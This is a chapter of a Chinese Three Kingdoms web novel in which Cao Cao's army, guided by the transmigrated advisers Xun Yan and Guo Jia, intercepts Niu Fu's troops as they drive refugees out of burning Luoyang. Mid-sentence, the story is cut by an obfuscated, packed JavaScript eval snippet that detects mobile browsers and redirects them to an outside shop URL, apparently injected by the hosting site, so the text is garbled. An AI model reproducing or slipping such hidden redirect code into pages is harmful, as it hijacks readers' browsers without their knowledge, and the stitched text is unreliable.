54.追击董卓
作品:《开局绑定郭奉孝,我在三国杀疯了》 袁绍捏紧拳头,骨节作响。“好个袁公路,好个公孙瓒!竟敢在背后算计我!”
曹操拍了拍袁绍的肩膀:“本初兄息怒。眼下当务之急是进军洛阳,救出天子。只要天子在手,流言不攻自破。至于那些心怀鬼胎之人,日后有的是机会收拾。”
袁绍点头,眼底杀机闪动:“孟德言之有理。你且去准备,明日大军开拔。”
曹操拱手告退。走出大帐,冷风扑面。曹操理了理衣袖,大步朝自己的营区走去。
一个时辰后,十几万关东联军拔营起寨。旌旗蔽日,刀枪如林。大军浩浩荡荡,碾过厚厚的积雪,朝着洛阳的方向进发。
消息传回洛阳相国府。
董卓将手里的玉盏摔得粉碎。虎牢关一破,洛阳无险可守。关东诸侯一反常态,大军集体逼近,这完全出乎他的预料。
“徐荣,你留一万兵马断后。”董卓点将,“守住一日即可。我带天子百官先走。”
徐荣领命。
董卓转头看向女婿牛辅。牛辅面色蜡黄,脚步虚浮。上次在误食毒蘑菇之后,郭嘉一句酒水有毒,管家歪打正着给他灌了泔水催吐,勉强捡回一条命。他至今有人不知是蘑菇中毒,斩杀了进献酒水的部下。
毒素伤了根本,他如今连提刀上马都费劲。
“牛辅,你带本部兵马,驱赶洛阳百姓同行。”董卓下令,“金银细软全部装车,带不走的,一把火烧干净。”
牛辅躬身应诺。他打仗不行,驱赶手无寸铁的百姓却正合他意。
洛阳城外,攻城战打响。
徐荣立在城头,指挥西凉军放箭落石。攻城战惨烈。盟军填平护城河,架起云梯。徐荣并不死战,他守到第二日,估算董卓车驾已走出几十里,果断下令弃城。西凉军从西门撤退,追赶董卓大军而去。
洛阳城门大开。
曹操纵马入城。迎面扑来滚滚浓烟。
入目皆是断壁残垣。董卓临走前放的火,已经蔓延开来。太傅府、司徒府皆被点燃。街道上横七竖八躺着百姓的尸体。
荀彧和荀攸骑马跟在后方。两人双目赤红。
荀彧拉住马缰,直视曹操,“请主公拨我兵马至东观救火!”
曹操看着荀彧焦急的面容,当即招手。“元让,妙才!”
夏侯惇、夏侯渊上前。
“你们带两千精锐,护送文若和公达去东观!”曹操下令,“务必将典籍抢出来!”
两人领命,护着荀彧叔侄直奔东观方向。
后续的诸侯联军陆续进城。
袁绍骑在高头大马上,看着满城大火,眉头压低。袁术则指挥手下抢救袁氏府邸。
曹操大步走到袁绍马前。
“本初兄!董贼刚走不远,天子就在前方。大军应当立刻穿城而过,追击董贼!”曹操声音极大,盖过周围的嘈杂。
袁绍看着疲惫的士卒,摇头拒绝。
“孟德,将士们攻城一日,疲惫不堪。洛阳大火未灭,此时强行穿城追击,极易遭遇西凉军伏击。当务之急是救火安民。”袁绍给出理由。
其他诸侯纷纷附和。谁也不想去和逃命的西凉悍卒死磕。
曹操环视众人,知道他们铁了心不愿追击,转身走向自己的阵营,“子孝,子廉!点齐兵马,随我追击!”
曹仁曹洪立刻集结剩下的三千骑兵。
曹操翻身上马,正要挥鞭。
两骑横在路中,挡住去路。 “主公且慢。”荀衍开口。
曹操勒住缰绳,强压怒火。“昭若,你也要拦我?”
荀衍驱马上前两步。
“主公想去救天子?”荀衍问。
“天子蒙尘,为人臣者,自当舍命相救!”曹操答。
荀衍摇头。
“董卓大军虽退,但阵型未乱。天子车驾在最前方,由吕布亲率并州狼骑护卫。”荀衍条理分明地分析,“主公这三千疲兵,想要穿过数十里被驱赶的百姓,突破西凉悍卒的防线,去救天子。绝无可能。”
曹操握紧马鞭。他懂兵法,自然清楚这其中的难度。但他咽不下这口气。
“难道就眼睁睁看着董贼逍遥法外?”曹操反问。
“天子难救,但百姓可救。”荀衍直视曹操。
曹操愣住。
郭嘉策马上前,与荀衍并肩。
百姓与天子孰轻孰重,曹操心中早有计较。
他看着前方满目疮痍的街道,握紧马鞭。“好!天子不可及,苍生亦是大汉之本。就依昭若所言,去救百姓!”
大军正欲转向,刘岱与孔融领着本部兵马从侧街赶来。
刘岱勒马停驻,看了看曹操身后的兵马。“孟德,你这点兵马,对上徐荣的断后精锐,等同于送死。”
孔融在一旁附和。“西凉军凶悍,此时追击实属不智。不如先整顿兵马,安抚城内残存百姓。”
曹操冷哼一声,直视刘岱与孔融。“诸公畏敌如虎,操却不能见死不救。不管前方如何凶险,总要有人去做。能救一个是一个!道不同不相为谋,告辞!”
刘岱摇头叹息,带着兵马转头去抢占未被烧毁的府邸。曹操看着他们的背影,眼中满是失望。
荀衍闭目,暗中唤出天机系统。
【往西十里,有一条隐蔽山道,可绕开徐荣防区,直达牛辅驱赶百姓的官道。】
荀衍睁眼,从袖中取出一份早早备好的洛阳周边堪舆图,用朱砂笔在上面勾画出一条路线。他策马靠近曹操,递上草图。
“主公,徐荣用兵严谨,正面交锋必有死伤。走这条小道,可避开其锋芒,直插牛辅后军。”
曹操接过看了一眼,毫无疑心,当即下令改道,参与追击的都是骑兵,反而比徐荣快上一些。
积雪深厚,郭嘉策马行走在荀衍身侧,侧过头看了一眼他苍白的侧脸,伸手探了探荀衍怀里的手炉,确认还热着,这才收回手。
大军穿过隐蔽山道,前方豁然开朗。官道上,密密麻麻的百姓被西凉兵用长矛和皮鞭驱赶着。
雪地里留下一串串刺目的血迹。有年迈的老者体力不支倒下,立刻被身后的马蹄踩踏。
孩童趴在父母的尸体上嚎啕大哭。西凉兵骂骂咧咧,遇到走得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312604|197113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慢的,直接一刀砍翻。这哪里是迁都,分明是人间炼狱。
曹操目眦欲裂,握紧了手中的马鞭。
牛辅骑在马上,脸色蜡黄,也不影响他鞭挞百姓,或者说因为虚弱,反而心理更加扭曲。
曹军突然从侧方杀出,截断去路。
曹洪一马当先,大刀横扫,几名西凉兵躲闪不及,身首异处。
西凉军本就疲于奔命,阵型松散,被这突如其来的冲击打得连连后退。
“挡住!给我挡住!”牛辅挥舞着马鞭大吼。
西凉兵退无可退,索性一把揪住身旁的百姓,将他们推到阵前。
长矛架在老人的脖子上,刀锋抵着妇人的后背。
“谁敢过来!我先杀他们!”一名西凉百将嘶吼。
曹洪勒住缰绳,战马前蹄高高扬起,险些踩中一名跌倒的孩童。曹军骑兵纷纷减速,投鼠忌器,不敢再冲。
两军在狭窄的官道上僵持。风雪卷过,只有百姓压抑的哭泣声。
牛辅本惊恐万分,定睛一看,前方曹军阵中,竟然有两个眼熟的身影。
“好啊!”牛辅指着荀衍和郭嘉破口大骂,“你们两个妖道!原来是曹孟德的人!亏我之前对你们奉若神明!”
曹操一愣,目光在荀衍和牛辅之间转了一圈。他并不知道荀衍在洛阳城内忽悠牛辅的具体细节。
荀衍立即挺直身体,抖开白色的狐裘披风,眼神清明,透着一股不染尘埃的出尘之气。
“牛将军何出此言?那日贫道观将军面色有异,乃是中了奇毒。贫道与师兄连夜深入深山,寻觅仙草,为将军炼制解药。”
你说你去炼丹?”牛辅狐疑地打量荀衍,“那你们为何混在曹孟德的军中?”
荀衍叹息一声,目光扫过一旁的曹操。“贫道携丹药下山,正欲寻将军。路遇曹将军,他见贫道懂些岐黄之术,便强行将我们师兄弟扣留军中。贫道乃出家人,不能随意伤人,只能暂且屈从。”
郭嘉在一旁连连点头,叹了口气:“造化弄人。若非今日在此相遇,我师兄弟二人还不知要被困到何时。”
曹操何等人物,听见这话,立刻反应过来,“这两人有用,操自当留用。”
在他的示意下,荀衍和郭嘉的亲兵将两人护得更紧一些,难以分辨究竟是保护还是挟持。
牛辅冷笑出声,“说得比唱得好听!炼丹?你的丹药呢?”
荀衍不慌不忙,手探入袖袋,摸出一个白玉小瓶。
他拔出木塞,倒出一枚五色药丸。药丸在雪光下泛着微光,散发出一股浓郁的药香。
“此丹耗费九九八十一天,采天地灵气,可解百毒,强健体魄。将军若是不信,大可一试。”
牛辅眼珠一转,指着身边一名亲兵:“你,过去把药吃了!”
亲兵战战兢兢地走上前,从荀衍手中接过药丸,一口吞下。
不过半柱香的时间,亲兵原本冻得发紫的脸色开始泛红,额头上渗出细密的汗珠。
“将军,这药……好热!”亲兵扯开领口,“感觉肚子里有团火在烧,力气全回来了!”

